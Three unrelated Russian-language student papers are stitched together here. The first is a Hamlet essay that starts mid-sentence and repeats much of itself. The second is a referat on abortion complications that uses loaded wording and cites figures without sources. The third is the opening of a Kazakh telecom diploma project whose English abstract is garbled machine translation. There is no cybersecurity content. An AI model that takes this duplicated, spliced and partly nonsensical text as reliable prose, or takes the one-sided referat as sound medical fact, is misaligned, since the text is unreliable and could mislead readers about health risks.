Гамлета – не столько преступление Клавдия, сколько то, что в Дании за короткое время свыклись с деспотизмом и рабством, грубой силой и тупым послушанием, подлостью и трусостью. Самое страшное в том, что свершившееся злодейство теперь предано забвению теми, кто знает обстоятельства смерти короля. Вот пред чем в ужасе Гамлет.

Прежде чем совершить злое дело, человек ждет, пока у него “совесть” утихомирится, пройдет, словно немочь. У кого-то пройдет. У Гамлета — нет, и в этом его трагедия. Не в том, разумеется, что Гамлет не хочет и не может стать бессовестным в понятиях нашей, нынешней нравственности. Трагедия в том, что ничего другого, кроме вроде бы раз и навсегда отринутой зависимости от потустороннего, нечеловеческого авторитета, он не находит для опоры и действия, для того, чтобы поставить на место “вывихнутые суставы” эпохи. Одну эпоху ему приходится судить по нормам другой, уже ушедшей эпохи, а это, по Шекспиру, немыслимо.

Гамлет не раз на протяжении песни имел возможность покарать
Клавдия. Почему, например, он не наносит удар, когда Клавдий молится в одиночестве? Потому, установили исследователи, что в таком случае, согласно древним поверьям, душа убитого отправилась бы прямо в рай, а Гамлету необходимо отправить ее в ад. Будь на месте Гамлета Лаэрт, он бы не упустил случая. “Оба света для меня презренны”1, — говорит он. Для Гамлета – не презренны, и в этом трагизм его положения. Психологическая раздвоенность гамлетовского характера носит исторический характер: ее причина – двойственное состояние “современника”, в сознании которого вдруг заговорили голоса и стали действовать силы других времен.

Как бы ни были популярны другие пьесы, ни одна не может соперничать с “Гамлетом”, в котором человек современной эпохи впервые узнавал себя и свои проблемы.

1 Шекспир В. Комедии, хроники, трагедии, собр. в 2-х томах, т.II —
М., Рипод классик, 2001, стр.235.

III. Литературная полемика вокруг образа Гамлета

Количество интерпретаций всей трагедии и особенно характера ее главного героя огромно. Исходной точкой для непрекращающейся и по сей день полемики, стало суждение, высказанное героями романа Гете “Годы учения Вильгельма
Мейстера”, где прозвучала мысль о том, что Шекспир хотел показать “великое деяние, тяготеющее над душой, которой порой такое деяние не по силам… здесь дуб посажен в драгоценный сосуд, которому назначение было лелеять в своем лоне только нежные цветы…”1. С Белинским согласились в том, что Гамлет – образ, имеющий всеобщее значение: “…это человек, это вы, это я, это каждый из нас, более или менее, в высоком или смешном, но всегда в жалком и грустном смысле…”2. С Гете начали спорить, и все настойчивее, с завершением романтического периода, доказывая, что Гамлет не слаб, а поставлен в условия исторической безысходности. В России такого рода исторический поворот мысли был предложен уже В. Г. Белинским. Что же касается слабости Гамлета, то, находя своих приверженцев, все чаще эта теория встречалась с опровержением.

На протяжении XIX в. суждения о Гамлете касались, прежде всего, выяснения его собственного характера.
Сильного или слабого; самопогруженного, представляющего, прежде всего самоанализ, “эгоизм, а потому безверье”, в противоположность нравственному идеализму Дон Кихота. Таким его увидел И. С. Тургенев

1 Гете И. В. , Годы учения Вильяма Мейстера, собр. соч. в 13 томах, т.VII — М., Художественная литература, 1978, стр. 248.

2 Белинский В. Г. “Гамлет”, драма Шекспира. Мочалов в роли Гамлета —
М., государственное издательство художественной литературы,1948, стр.301. в знаменитой статье “Гамлет и Дон Кихот”(1859), еще десятью годами ранее дав современное воплощение вечного образа в рассказе “Гамлет Щигровского уезда”. В английском шекспироведении, напротив, утвердилась традиция видеть в случае с Гамлетом трагедию, пережитую нравственным идеалистом, вступившим в мир с верой и надеждой, но болезненно потрясенным гибелью отца и изменой матери. Именно такую интерпретацию предложил в своей классической работе
“Шекспировская трагедия” А. С. Брэдли (1904). В каком-то смысле углублением и развитием этой концепции явилось фрейдистское прочтение образа, намеченное самим Фрейдом и подробно разработанное его учеником Э. Джоунзом, в духе психоанализа представившим трагедию Гамлета как результат Эдипова комплекса: неосознанной ненависти к отцу и любви к матери.

Однако в XX веке все чаще стало раздаваться предупреждение, которым начал свое знаменитое эссе о трагедии Т. С. Элиот, сказавший, что “пьеса
“Гамлет” – первостепенная проблема, а Гамлет как характер – только второстепенная”1. Понять Гамлета – значит понять законы художественного целого, в рамках которого он возник. Сам Элиот счел, что Шекспир в этом образе гениально угадал рождение человеческих проблем, настолько глубоких и новых, что не смог ни дать им рационального объяснения, ни найти для них адекватной формы, так что в художественном отношении “Гамлет” – великая неудача.

Около этого времени в России начинает складываться анализ трагедии
“Гамлет” с точки зрения жанровой структуры, проведенной Л. С. Выготским.
Задавая вопрос: “Почему медлит Гамлет?” – замечательный лингвист и психолог ищет ответ в том,

1 Шекспир У. Пьесы, сонеты — М., Олимп, 2002, стр.694. как, согласно законам построения и воздействия трагедии, в ней сосуществуют фабула, сюжет и герой, приходя в неминуемое противоречие. И в этом смысле
“Гамлет” не нарушение жанра, а идеальное осуществление его закона, определяющего для героя в качестве неизбежного условия существование в нескольких планах, которые он тщетно пытается свести и сводит лишь в финале, где акт отмщения совпадает с актом его собственной смерти.

Гамлет – герой интеллекта и совести, и этим он выделяется из всей галереи шекспировских образов. Только в Гамлете соединились блестящая цивилизованность и глубокая чувствительность, усовершенствованный образованием ум и ничем не поколебленная нравственность. Он ближе, роднее нам, чем все другие герои Шекспира, и силой своей и слабостью. С ним гораздо легче мысленно подружиться, через него как бы сам Шекспир непосредственно общается с нами. Если Гамлета так легко полюбить, то это потому, что в нем мы чувствуем в какой-то мере себя; если иногда так трудно его понять, то это потому, что мы и себя не совсем еще хорошо поняли.

Вступительное слово.

Среди пьес Вильяма Шекспира “Гамлет” — одна из самых известных. Героем этой драмы вдохновлялись поэты и композиторы, философы и политические деятели.

Огромный круг философских и этических вопросов переплетается в трагедии с вопросами общественными и политическими, характеризующими неповторимую грань XVI и XVII веков.

Гамлет — пламенный выразитель тех новых взглядов, которые принесла с собой эпоха Возрождения, когда передовые умы человечества стремились восстановить не только утраченное за тысячелетие средневековья понимание древнего искусства мира, но и доверие человека к собственным силам без надежд на милости и помощь неба. Гамлет принадлежит той фазе эпохи, когда природу и жизнь превозносили философы, воспевали поэты, влюбленно изображали художники.

Шекспир писал о современной ему Англии. Все в его пьесе – герои, мысли, проблемы, характеры — принадлежит обществу, в котором жил Шекспир.

Гамлет – не узко-бытовой образ, но характер, наполненный огромным философским и жизненным содержанием. Он непримиримо враждебен к Клавдию. Он по-дружески расположен к актерам. Он грубоват в общении с Офелией. Он обходителен с Горацио. Он сомневается в себе. Он действует решительно и быстро. Он остроумен. Он умело владеет шпагой. Он боится божьей кары. Он богохульствует. Он обличает свою мать и любит ее. Он равнодушен к престолонаследию. Он с гордостью вспоминает отца-короля. Он много думает.
Он не может и не хочет сдержать свою ненависть. Вся эта богатейшая гамма меняющихся красок воспроизводит величие человеческой личности, подчинена раскрытию трагедии человека.

У Гамлета глубокий и подвижный ум — все схватывает на лету. В аристократической среде держится он непринужденно, отлично зная все винтики и механизм ее этикета, к простым людям не подделывается и не проявляет никакого высокомерия. Не только серьезным своим речам, даже каламбурам, шуткам, остротам всегда придает он глубокомысленный поворот, вследствие чего они кажутся одновременно и доходчивыми, и замысловатыми. Однако, думает Гамлет не чужим умом. Физически он — как в железных тисках, во дворце ему — как в тюрьме. Единственное, чем он может сопротивляться против всего света – независимостью своих суждений.

Гамлет знает, для чего он рожден, но найдет ли он силы исполнить свое предназначение? И вопрос этот относится не к его человеческим качествам: силен он или слаб, вял или решителен. Всей трагедией подразумевается вопрос не о том, каков Гамлет, а о том, каково его место в мире. Это предмет трудного раздумья, его смутных догадок.

Гамлет выбрал мысль, сделавшись первым героем мировой литературы, пережившим трагедию отчуждения и одиночества, погруженным в самого себя и свои мысли.

Любил ли Гамлет Офелию? Любила ли она его? Этот вопрос постоянно возникает при прочтении трагедии, но не имеет ответа в ее сюжете, в котором отношения героев не строятся как любовные. Они сказываются иными мотивами: отцовским запретом Офелии принимать сердечные излияния Гамлета и ее повиновением родительской воле; любовным отчаянием Гамлета, подсказанным его ролью сумасшедшего; подлинным безумием Офелии, сквозь которое словами песен прорываются воспоминания о том, что было, или о том, что не было между ними. Если любовь Офелии и Гамлета существует, то лишь прекрасная и невоплощенная возможность, намеченная до начала сюжета и уничтоженная в нем.

Задумываясь о смысле человеческого существования, Гамлет произносит самый волнующий и глубокий из своих монологов, первые слова которого давно уже стали крылатым выражением: “Быть или не быть, вот в чем вопрос”

Гамлет – человек философской мысли. В страданиях мысли, правдивой, требовательной, бескомпромиссной, — судьба Гамлета. Гамлетовское “я обвиняю” передает невыносимость его положения в конкретном мире, где извращены все понятия, чувства, связи, где кажется ему, что время остановилось и так будет вечно.

Гамлет – герой интеллекта и совести, и этим он выделяется из всей галереи шекспировских образов. Только в Гамлете соединились блестящая цивилизованность и глубокая чувствительность, усовершенствованный образованием ум и ничем не поколебленная нравственность. Он ближе, роднее нам, чем все другие герои Шекспира, и силой своей, и слабостью. С ним гораздо легче мысленно подружиться, через него как бы сам Шекспир непосредственно общается с нами. Если Гамлета так легко полюбить, то это потому, что в нем мы чувствуем в какой-то мере себя; если иногда так трудно его понять, то это потому, что мы и себя не совсем еще хорошо поняли.

В конце пьесы Шекспир последний раз взвешивает соотношение сил. Но как измерить эти силы, если все герои мертвы? Моральную победу одерживает один
Гамлет. Автор указывает, что борьба не завершена, что разрешение конфликта
– в будущем. За несколько минут до смерти Гамлет завещает Горацио поведать людям о случившемся. Они должны знать о Гамлете, чтобы следовать его примеру, чтобы “сразить противоборством” зло на земле и мир-тюрьму превратить в мир свободы. Как бы не популярны были другие пьесы, ни одна не может соперничать с “Гамлетом”, в котором человек современной эпохи впервые узнавал себя и свои проблемы.

V. Список используемой литературы:

1. Белинский В. Г. “Гамлет”, драма Шекспира. Мочалов в роли Гамлета —

М., государственное издательство художественной литературы,1948;

2. Верцман И. Е. “Гамлет” Шекспира, — М., Художественная литература,

1964;

3. Динамов С. С. Зарубежная литература, — Л., Художественная литература, 1960;

4. Дубашинский И. А. Вильям Шекспир, — М., Просвещение, 1965;

5. Шайтанов И. О. Западноевропейская классика: от Шекспира до Гете, —

М., издательство Московского университета, 2001;

6. Шекспир В. Гамлет, — М., Детская литература, 1982;

7. Шекспир В. К четырехсотлетию со дня рождения, — М., Наука, 1964;

8. Шекспир В. Комедии, хроники,трагедии, собр. в 2-х томах, — М.,

Рипод классик, 2001;

9. Шекспир В. Пьесы, сонеты, — М., Олимп, 2002.

Сочинение: В. Шекспир «Гамлет»

В. Шекспир «Гамлет»

Среди пьес Вильяма Шекспира “Гамлет” — одна из самых известных. Героем этой драмы вдохновлялись поэты и композиторы, философы и политические деятели.

Огромный круг философских и этических вопросов переплетается в трагедии с вопросами общественными и политическими, характеризующими неповторимую грань XVI и XVII веков.

       Гамлет — пламенный выразитель тех новых взглядов, которые принесла с собой эпоха Возрождения, когда передовые умы человечества стремились восстановить не только утраченное за тысячелетие средневековья понимание древнего искусства мира, но и  доверие человека к собственным силам без надежд на милости и помощь неба. Гамлет принадлежит той фазе эпохи, когда природу и жизнь превозносили философы, воспевали поэты, влюбленно изображали художники.

Шекспир писал о современной ему Англии. Все в его пьесе – герои, мысли, проблемы, характеры — принадлежит обществу, в котором жил Шекспир.

Гамлет – не узко-бытовой образ, но характер, наполненный огромным философским и жизненным содержанием. Он непримиримо враждебен к Клавдию. Он по-дружески расположен к актерам. Он грубоват в общении с Офелией. Он обходителен с Горацио. Он сомневается в себе. Он действует решительно и быстро. Он остроумен. Он умело владеет шпагой. Он боится божьей кары. Он богохульствует. Он  обличает свою мать и любит ее. Он равнодушен к престолонаследию. Он с гордостью вспоминает отца-короля. Он много думает. Он не может и не хочет сдержать свою ненависть. Вся эта богатейшая гамма меняющихся красок воспроизводит величие человеческой личности, подчинена раскрытию трагедии человека.

У Гамлета глубокий и подвижный ум — все схватывает на  лету.  В аристократической среде держится он непринужденно,  отлично  зная все  винтики  и  механизм  ее  этикета,  к  простым   людям    не подделывается и не  проявляет  никакого  высокомерия.  Не  только серьезным своим речам, даже каламбурам,  шуткам,  остротам  всегда придает он глубокомысленный поворот, вследствие чего они  кажутся одновременно и доходчивыми, и замысловатыми. Однако, думает Гамлет не  чужим  умом.  Физически  он  —  как  в железных тисках, во дворце ему — как в тюрьме.   Единственное, чем он может сопротивляться против всего света – независимостью своих суждений.

Гамлет знает, для чего он рожден, но найдет ли он силы исполнить свое предназначение? И вопрос этот относится не к его человеческим качествам: силен он или слаб, вял или решителен.  Всей трагедией подразумевается вопрос не о том, каков Гамлет, а о том, каково его место в мире.  Это предмет трудного раздумья,  его смутных догадок.

Гамлет выбрал мысль, сделавшись первым героем мировой литературы, пережившим трагедию отчуждения и одиночества,  погруженным в самого себя и свои мысли.

Любил ли Гамлет Офелию?  Любила ли она его? Этот вопрос постоянно возникает при прочтении трагедии, но не имеет ответа в ее сюжете, в котором отношения героев не строятся как любовные.  Они сказываются иными мотивами: отцовским запретом Офелии принимать сердечные излияния Гамлета и ее повиновением родительской воле; любовным отчаянием Гамлета, подсказанным его ролью сумасшедшего; подлинным безумием Офелии, сквозь которое словами песен прорываются воспоминания о том, что было, или о том, что не было между ними. Если любовь Офелии и Гамлета существует, то лишь прекрасная  и невоплощенная возможность, намеченная до начала сюжета и уничтоженная в нем.

     Задумываясь о смысле человеческого существования, Гамлет произносит самый волнующий и глубокий из своих монологов, первые слова которого давно уже стали крылатым выражением: “Быть или не быть, вот в чем вопрос”

Гамлет – человек философской мысли.  В страданиях мысли, правдивой, требовательной, бескомпромиссной, — судьба Гамлета. Гамлетовское “я обвиняю” передает невыносимость его положения в конкретном мире, где извращены все понятия, чувства, связи, где кажется ему, что время остановилось и так  будет вечно.

   Гамлет – герой интеллекта и совести, и этим он выделяется из всей галереи шекспировских образов. Только в Гамлете соединились блестящая цивилизованность и глубокая чувствительность, усовершенствованный образованием ум и ничем не поколебленная нравственность. Он ближе, роднее нам, чем все другие герои Шекспира, и силой своей, и слабостью. С ним гораздо легче мысленно подружиться, через него как бы сам Шекспир непосредственно общается с нами. Если Гамлета так легко полюбить, то это потому, что в нем мы чувствуем в какой-то мере себя; если иногда так трудно его понять, то это потому, что мы и себя не совсем еще хорошо поняли.

В конце пьесы Шекспир последний раз взвешивает соотношение сил. Но как измерить эти силы, если все герои мертвы? Моральную победу одерживает один Гамлет. Автор указывает, что борьба не завершена, что разрешение конфликта – в будущем. За несколько минут до смерти Гамлет завещает Горацио поведать людям о случившемся. Они должны знать о Гамлете, чтобы следовать его примеру, чтобы “сразить противоборством” зло на земле и мир-тюрьму превратить в мир свободы.                                                                                     Как бы не популярны были другие пьесы, ни одна не может соперничать с “Гамлетом”, в котором человек современной эпохи впервые узнавал себя и свои проблемы.

 

Список литературы

Белинский В. Г.  “Гамлет”, драма Шекспира. Мочалов в роли Гамлета — М., государственное издательство художественной литературы,1948; 

Верцман И. Е. “Гамлет” Шекспира, — М., Художественная литература, 1964;

Динамов С. С. Зарубежная литература, — Л., Художественная литература, 1960;

Реферат: Аборт

Искусственные аборты нередко сопровождаются различными осложнениями, возникающими непосредственно в процессе самой операции, а также в ближайшие после нее дни.

Однако гораздо чаще осложнения проявляются спустя сравнительно большой срок после произведенной операции. Поэтому послеабортные осложнения
(заболевания) принято условно делить на ближайшие и отдаленные.

Нарушения в состоянии и деятельности отдельных органов и систем женщины, возникшие в результате аборта, различны как по своим клиническим проявлениям, интенсивности, так и по длительности течения.

Часто женщины после прерывания беременности чувствуют себя вполне хорошо. Это естественно, они испытывают облегчение от того, что все благополучно закончилось. Но проходит некоторое время и начинают, порой едва заметно, проявляться неблагоприятные последствия аборта, этого насильственного, антифизиологического акта.

У женщин, перенесших аборт, нередко отмечается повышенная нервозность, раздражительность, плаксивость, опустошенность, а иногда — апатия и подавленность. Требуется время, чтобы самочувствие женщины улучшилось.

К числу осложнений, возникающих непосредственно в процессе искусственного прерывания беременности, относятся, прежде всего, механические повреждения шейки и тела матки. Каким бы способом данная операция ни производилась, повреждения матки в той или иной мере фактически являются неизбежными.

Расширение канала шейки матки при искусственном прерывании беременности достигается путем постепенного введения в него специальных расширителей со все более и более широким диаметром. При этом приходится преодолевать некоторое препятствие со стороны наружного и особенно внутреннего зева. Такая манипуляция всегда связана с известными трудностями и риском. Это в первую очередь относится к не рожавшим женщинам в связи со значительной упругостью у них тканей шейки матки и узостью ее канала.

Несмотря на то, что расширение шейки матки всегда производится врачом очень осторожно (с учетом расположения тела матки), во время введения расширителей нередко возникают трещины, надрывы шейки, иногда довольно значительные. Как правило, уже в процессе расширения шейки появляются хотя бы небольшие кровянистые выделения. Это само по себе свидетельствует о некоторой травматизации шейки матки. Наиболее обильными они бывают при производстве искусственного аборта у не рожавших женщин.

Особо следует остановиться на тех повреждениях, которые возникают на втором этапе операции, когда после искусственного раскрытия шейки производится удаление из полости матки плодного яйца. Прежде всего, врач должен отслоить плодное яйцо от стенки матки.

Для осуществления этого в основном применяются длинные металлические инструменты, напоминающие по внешнему виду ложку, у которой нет дна. Это так называемые кюретки, состоящие из рукоятки и тонкого длинного стержня, заканчивающегося овалообразной петлей. Кюретки имеют петли различной ширины и длины применительно к величине матки, т. е. соответственно определенному сроку беременности. При помощи этих инструментов врач отслаивает плодное яйцо и по частям удаляет его из полости матки. Эта манипуляция производится
«вслепую», поэтому врач не может быть полностью уверен в успехе своих действий.

Заключительной частью операции аборта является контрольное выскабливание внутренних стенок матки с использованием кюретки с острой петлей сравнительно небольшого размера. Это делается для того, чтобы врач убедился в полном отделении и удалении из матки всего плодного яйца.
Оставление в полости матки даже незначительных частиц плодного яйца может вызвать ряд осложнений: плохое последующее сокращение мышц матки, кровотечение, развитие очага инфекции.

Не имея возможности четко определить место прикрепления плодного яйца, а также точно регулировать силу необходимых соскабливающих движений, врач невольно может удалить не только всю слизистую оболочку матки, но и повредить ее мышечный слой.

Наибольшему повреждению при выскабливании стенок матки подвергается место прикрепления плодного яйца. Кроме того, повреждения часто приходятся на нижний сегмент матки, так как именно к нему сходятся все выскабливающие движения при использовании кюреток в процессе производства аборта.

В дальнейшем такие поверхностные и как будто незначительные повреждения мышечных стенок матки могут повлечь за собой тяжелые для женщины последствия.

Если чрезмерно удалить ткань с внутренней поверхности матки, то новая слизистая оболочка может восстановиться не полностью и быть недостаточно полноценной. Это неизбежно отрицательно скажется на ее дальнейшей весьма важной функции в процессе менструального цикла. На местах повреждения мышечных волокон матки могут образоваться рубцы и сращения (синехии), меняющие архитектонику полости матки.

Особенно часто эти ранения происходят при неправильном положении матки, ее резком загибе, когда между шейкой и телом матки образуется острый угол и инструментом трудно проникнуть из канала шейки матки в ее полость, а также при значительном истончении стенок матки в результате неоднократно произведенных абортов.

Прободение матки является весьма серьезным и опасным для жизни осложнением, требующим производства срочной операции со вскрытием брюшной полости. Иногда такая операция ограничивается зашиванием поврежденной ткани
(перфорационного отверстия), нередко появляется необходимость удаления матки.

К числу ближайших осложнений операции аборта относится и кровотечение.

Кровопотеря в той или иной мере является неизбежным спутником данной операции вне зависимости от того, каким способом она производится.

Во время беременности в системе кровоснабжения половых органов женщины и особенно матки происходят значительные изменения: кровеносные сосуды увеличиваются в длину, расширяются, усиливается кровоток. Любая попытка проникнуть в это время в полость матки с целью прерывания беременности обязательно приводит к нарушению целости сосудов и возникновению кровотечения.

При разрушении и удалении плодного яйца кровопотеря возрастает, а затем уменьшается к моменту окончания операции. Маточная мускулатура сокращается после удаления из полости матки всех частей плодного яйца, сама матка становится, более плотной, уменьшается в размере, кровоточащие сосуды как бы сжимаются.

Величина кровопотери при операции аборта бывает далеко не одинаковой.
Это зависит от срока беременности, при котором производится аборт, от степени травматизации матки в процессе удаления плодного яйца и т. д.
Кровопотеря во время операции аборта при беременности сроком около 2 мес. составляет в среднем 100 мл.

Любая кровопотеря не безразлична для организма. Особенно опасна так называемая массивная кровопотеря, когда человек теряет значительный объем крови на протяжении короткого времени. В отдельных случаях такая «острая» кровопотеря при аборте может быть связана с неправильным прикреплением в матке плодного яйца.

Процесс имплантации происходит чаще всего на передней или задней стенке матки в верхней ее части на уровне маточных труб.

Так как, оплодотворенное яйцо, достигнув полости матки, начинает как бы сползать к нижнему ее сегменту и прикрепляется вблизи внутреннего зева, нередко частично или даже полностью его прикрывая.

Обильная кровопотеря при аборте может быть связана с плохой сократительной способностью мускулатуры матки в результате перенесенных ранее ее воспалительных заболеваний, неоднократно прибегавших к искусственному прерыванию беременности.

Повышенная кровоточивость имеет место при производстве аборта у женщин, сравнительно недавно родивших или у кормящих грудью матерей.

Наиболее часто кровотечение как осложнение аборта наблюдается при оставлении во время этой операции в полости матки частиц плодного яйца.
Кровотечение в этих случаях начинается обычно не сразу после удаления плодного яйца из матки, а спустя несколько часов и даже дней и может потребовать производства повторного инструментального обследования матки и удаления остатков плодного яйца.

Воспалительные заболевания женских половых органов среди всех гинекологических заболеваний занимают ведущее место как по частоте возникновения, так и по тяжести отдаленных последствий.

Воспалительные заболевания женских половых органов являются наиболее частыми осложнениями искусственного прерывания беременности. В медицинской литературе имеются указания на то, что заболевания половых органов воспалительного характера впервые появляются после искусственного аборта у
10—12% здоровых женщин, подвергшихся этой операции. Кроме того, операция прерывания беременности дает «толчок» к обострению уже имевшегося, но стихшего воспалительного процесса. Такое обострение встречается более чем у половины женщин, страдавших до аборта воспалительными заболеваниями половых органов.

В одних случаях воспалительные процессы проявляются непосредственно после произведенного аборта, в других — спустя некоторое время.

Воспалительные процессы, в том числе возникающие и после аборта, обусловливают возникновение внематочной беременности, ведут к появлению вторичного бесплодия.

Ближайшие и отдаленные последствия искусственного прерывания беременности, особенно произведенного у не рожавшей женщины, могут весьма неблагоприятно отразиться на ее дальнейшей детородной функции.

У женщин, прибегавших в прошлом к искусственному прерыванию беременности, несравненно чаще наблюдаются самопроизвольные аборты, а также преждевременные роды, т. е. роды в 28—37 недель беременности. При этом иногда у одной и той же женщины случаи невынашивания беременности повторяются несколько раз, и если это происходит при беременности сроком до 28 недель, то такой выкидыш называют «привычным».

Невынашивание беременности может быть обусловлено наличием внутриматочных сращений, нередко образующихся в результате искусственного аборта.

К возникновению самопроизвольных абортов и преждевременных родов может привести так называемая органическая истмико-цервикальная недостаточность, т. е. недостаточность перешейка и шейки матки. Это патологическое состояние иногда возникает в результате повреждения указанных отделов матки во время искусственного аборта (чаще при искусственном прерывании беременности у нерожавших женщин).

К довольно часто встречающимся во время родов осложнениям относится преждевременное или раннее излитие околоплодных вод, происходящее при разрыве плодного пузыря до начала родовой деятельности (преждевременное излитие) или уже в процессе родов, но раньше полного раскрытия шейки матки, как это происходит в норме (раннее излитие).

Преждевременное или раннее излитие околоплодных вод у первородящих, имевших в прошлом аборты, встречается в 2 с лишним раза чаще, чем у первородящих, не прибегавших к аборту (соответственно в 15,8 и 7% случаев).

Слабость родовой деятельности у рожениц, перенесших в прошлом аборты, встречается в 1,6 раза чаще, чем у женщин, не прибегавших к искусственному прерыванию беременности. Это относится, в одинаковой мере, как к первородящим, так и повторнородящим женщинам.

Известный русский акушер-гинеколог профессор Г. Г. Гентер еще много лет назад писал: «Издавна известно, что преждевременное отхождение вод оказывает на течение родового акта неблагоприятное влияние. «Сухие роды» всегда пользовались дурной славой. И если в некоторых случаях роды все же протекают нормально, то в большинстве — наблюдается ряд неправильностей».

Весьма серьезным осложнением беременности и родов является патологическое размещение в матке детского места (плаценты). Физиологически плацента прикрепляется к стенке матки в верхних ее отделах, и своим нижним краем она не доходит до нижнего сегмента матки. Если же плацента оказывается прикрепленной в нижнем полюсе полости матки (вблизи внутреннего зева, тем более, если частично или полностью закрывает его), то такое ее расположение по праву считается патологическим и называется предлежанием плаценты. Подобное осложнение обычно ведет к возникновению маточного кровотечения в конце беременности, а чаще непосредственно во время родов.
При этом кровопотеря может принять весьма значительные размеры и представлять серьезную угрозу для матери и плода.

Известно, что эта патология характерна для женщин, перенесших воспалительный процесс матки, который часто возникает после искусственного прерывания беременности.

К осложнениям, также вызывающим значительное кровотечение
(чаще всего после рождения ребенка), относится так называемое приращение детского места. В этом случае отдельные дольки плаценты бывают весьма плотно сращены с маткой, причем некоторые ее ворсины доходят до мышечного слоя и даже врастают в него. После рождения ребенка плацента, как правило, не может самостоятельно отслаиваться от стенки матки, а частичное ее отслоение может привести к значительному кровотечению. В результате этого возникает необходимость производить далеко не безопасную операцию отделения и удаления из матки детского места. Отмечено, что и эта патология чаще всего является отдаленным последствием аборта, особенно осложненного воспалительным процессом матки.

Говоря об осложнениях искусственного аборта и их влиянии на течение, исход последующих беременностей, необходимо остановиться на внематочной беременности.

Внематочная беременность представляет не только серьезную опасность для здоровья женщины, но в дальнейшем резко унижает возможность наступления у нее беременности, часто ведет к бесплодию.

В основе возникновения внематочной беременности лежат главным образом различные изменения, возникающие в маточных трубах.

Оплодотворенная яйцеклетка обладает исключительно большой способностью к росту и может прививаться и продолжать свое развитие в любом месте по пути продвижения от яичника до полости матки. В тех случаях, когда в силу каких-либо причин яйцеклетка продвигается по трубе необычно медленно, она, достигнув известной стадии развития, может задержаться в трубе и внедриться в ее стенку — возникает внематочная (трубная) беременность. Внематочная беременность часто наблюдается при половом инфантилизме женщины, недоразвитии ее половых органов. У таких женщин маточные трубы обычно длинные, извилистые, с узким просветом, обладают ограниченной сократительной способностью, что и вызывает задержку оплодотворенной яйцеклетки в трубе.

Существует много и других обстоятельств, предрасполагающих к возникновению такой ненормальной беременности. Однако наиболее существенную роль в происхождении внематочной беременности играют воспалительные процессы маточных труб.

Тяжело протекающие воспалительные процессы маточных труб, приводящие к полному закрытию просвета труб, вызывают их непроходимость и ведут к бесплодию. В начальном периоде своего развития внематочная беременность сопровождается теми же признаками, как и обычная. У женщины происходит задержка менструации, нагрубание молочных желез, появляются изменения в аппетите, вкусе и т. д. Матка в это время бывает несколько размягчена и немного увеличена в размере. Ничто как будто бы не предвещает нависшую опасность. Однако плодное яйцо не находит в маточной трубе тех благоприятных условий, которые необходимы для его развития. Если слизистая оболочка матки к периоду прикрепления яйца пышно разрастается, слизистая оболочка трубы продолжает оставаться тонкой, неприспособленной к необычным для нее требованиям. Растущее плодное яйцо начинает все глубже и глубже проникать в трубу и, постепенно разрушая ее, доводит до разрыва.

Внематочная беременность прерывается чаще всего в конце 2-го — начале
3-го месяца. В одних случаях происходит разрыв трубы, при котором плодное яйцо целиком или частично попадает в брюшную полость. Но значительно чаще наблюдается так называемый трубный выкидыш, когда яйцо отслаивается от стенки трубы и выбрасывается в брюшную полость через наружный расширенный конец маточной трубы. В том и другом случаях прерывания трубной беременности в результате разрыва кровеносных сосудов возникает внутрибрюшинное кровотечение. Порой оно бывает катастрофически обильным. В нем и заключается большая опасность внематочной беременности для женщин.

Независимо от того, определена ли внематочная беременность до или после ее прерывания, всегда существует необходимость срочной хирургической помощи.

Искусственное прерывание первой беременности может явиться предпосылкой для возникновения тяжелого заболевания у плода и новорожденного при последующих беременностях — гемолитической болезни.

Прерывание первой беременности всегда нежелательно, а для женщин с резусотрицательной кровью (при резус-положительном муже) явно противопоказано.

Искусственный аборт всегда представляет определенную потенциальную опасность для течения и исхода последующей беременности как для матери, так и для плода.

Беременных женщин, имевших в прошлом искусственный аборт, относят к так называемой группе беременных повышенного риска перинатальной патологии.
Это в первую очередь относится к первым и последующим абортам у нерожавших женщин. Они находятся под особо тщательным наблюдением врачей акушеров- гинекологов женских консультаций, чтобы предупредить (снизить) возможную у них материнскую и. перинатальную патологию.

© Copyright Атанов А. Ю. 2001 — 2002

Дипломная работа: Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240

Түйін

«Ақмола облысы Жарқайың ауданының Гастелло ауылының СС жабдығын МС-240 ЦАТС негізінде жаңғырту » деп аталған осы дипломдық жобада телефон желісінің қазіргі жағдайы қаралып, байланыс желісінің сапалық көрсеткіштерін нақтылайтын есептері берілген. Сонымен қатар, ЦАТС-ң жұмысқа пайдалану сұрақтары болып саналатыт маниторинг, конфигурациялау жәнеде т. б. сұрақтар сараланып қаралған.

Сонымен қатар дипломдық жобада еңбекті қорғау және техника қауіпсіздігі сұрақтарыменен бірге экология мәселесіде сөз болған.

Жоба соңында экономикалық бөлім бойынша негізгі көрсеткіштері есептелінген.

Аннотация

В дипломном проекте по теме «Реконструкция оборудования ОС п. Гастелло Жаркаинского района Акмолинской области на базе ЦАТС МС-240» анализировано существующее состояние телефонной сети, рассчитаны качественные показатели, рассмотрены специальные вопросы по мониторингу, конфигурации и другие вопросы по технической эксплуатации ЦАТС МС-240 (Россия).

В дипломном проекте также затронуты вопросы охраны труда и техники безопасности, проблемы экологии.

В конце рассчитаны основные показатели по экономической части.

Abstract

In degree project on subject «Reconstruction of the equipment OS p. extinguish;quench;cancel;switch off-телло ZHarkainskogo region Akmolinskoy area on the base CATS MS-240» is analysed existing condition to telephone network, is calculated качест-венные to factors, are considered special questions on monitoring, horse-фигурации and the other questions on technical usage CATS MS-240 (Russia).

In degree project is also touched labour guard questions and safety, problems to ecologies.

Leading indexes is calculated At the end on economic part.

1 Аналитическое исследование проблем сельской связи и разработки по их технической решении

1.1 Краткая характеристика районаи сети сельской связи

Жаркаинский район по своему географическому положению находится в Акмолинской области. Центр Жаркаинского района – город Державинск.

Акмолинская область была образована в 1939 году и занимает территорию 146.200 тыс.кв.км. (имеется на территории области 17 районов, 7 городов, 8 поселков и 183 сельских местностей). Область неоднократно реорганизовывалась, последняя связана с переносом столицы в 1998 году из г. Алматы в г. Астана (Целиноград). Административным центром Акмолинской области является город Кокшетау.

Населения Жаркаинского района примерно составляет 25 тысяч человек, а численность населения в городе Державинск — свыше 15 тыс.человек. Население района постепенно растет из-за выгодного месторасположение, которое обусловлено близким расположением к столице, прохождением через город и район автомобильных дорог, благоприятным климатом и выгодными условиями для занятия сельским хозяйством и разведением крупного и мелкого скота, а также для увеличения производства по переработке мясной и молочной промышленности.

